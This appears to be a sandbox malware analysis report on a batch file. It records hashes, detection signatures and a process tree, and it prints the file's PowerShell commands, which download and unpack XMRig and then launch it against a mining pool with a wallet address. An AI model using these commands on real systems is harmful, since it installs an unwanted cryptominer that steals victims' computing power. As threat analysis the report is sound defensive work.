Analysis

  • max time kernel
    1787s
  • max time network
    1772s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 53 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4232
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1848
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5000

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1848-117-0x00007FFFC5B40000-0x00007FFFC652C000-memory.dmp

    Filesize

    9.9MB

  • memory/1848-42-0x000001F30A1E0000-0x000001F30A1F0000-memory.dmp

    Filesize

    64KB

  • memory/1848-40-0x000001F30A1E0000-0x000001F30A1F0000-memory.dmp

    Filesize

    64KB

  • memory/1848-66-0x000001F30A1E0000-0x000001F30A1F0000-memory.dmp

    Filesize

    64KB

  • memory/1848-93-0x000001F322610000-0x000001F32261A000-memory.dmp

    Filesize

    40KB

  • memory/1848-39-0x00007FFFC5B40000-0x00007FFFC652C000-memory.dmp

    Filesize

    9.9MB

  • memory/1848-80-0x000001F322B40000-0x000001F322B52000-memory.dmp

    Filesize

    72KB

  • memory/4232-9-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-10-0x0000024DFAF70000-0x0000024DFAFE6000-memory.dmp

    Filesize

    472KB

  • memory/4232-25-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-6-0x00007FFFB6E40000-0x00007FFFB782C000-memory.dmp

    Filesize

    9.9MB

  • memory/4232-8-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-28-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-27-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-26-0x00007FFFB6E40000-0x00007FFFB782C000-memory.dmp

    Filesize

    9.9MB

  • memory/4232-29-0x0000024DFAC00000-0x0000024DFAC10000-memory.dmp

    Filesize

    64KB

  • memory/4232-34-0x00007FFFB6E40000-0x00007FFFB782C000-memory.dmp

    Filesize

    9.9MB

  • memory/4232-4-0x0000024DFADC0000-0x0000024DFADE2000-memory.dmp

    Filesize

    136KB

  • memory/5000-163-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-152-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-122-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-123-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-124-0x0000024321A30000-0x0000024321A50000-memory.dmp

    Filesize

    128KB

  • memory/5000-125-0x0000024321A50000-0x0000024321A70000-memory.dmp

    Filesize

    128KB

  • memory/5000-126-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-127-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-128-0x0000024321A30000-0x0000024321A50000-memory.dmp

    Filesize

    128KB

  • memory/5000-129-0x0000024321A50000-0x0000024321A70000-memory.dmp

    Filesize

    128KB

  • memory/5000-130-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-131-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-132-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-133-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-134-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-172-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-171-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-170-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-169-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-168-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-167-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-166-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-165-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-164-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-120-0x000002431FF90000-0x000002431FFB0000-memory.dmp

    Filesize

    128KB

  • memory/5000-162-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-161-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-160-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-159-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-158-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-157-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-156-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-155-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-154-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-153-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-121-0x0000024320260000-0x0000024320280000-memory.dmp

    Filesize

    128KB

  • memory/5000-151-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-150-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-149-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-148-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-147-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-146-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-145-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-144-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-143-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-142-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-141-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-140-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-139-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-138-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-137-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-136-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-135-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-173-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-174-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-175-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-176-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-177-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-178-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-179-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-180-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-181-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-182-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-183-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-184-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-185-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-186-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-187-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB

  • memory/5000-188-0x00007FF7D33D0000-0x00007FF7D3ED3000-memory.dmp

    Filesize

    11.0MB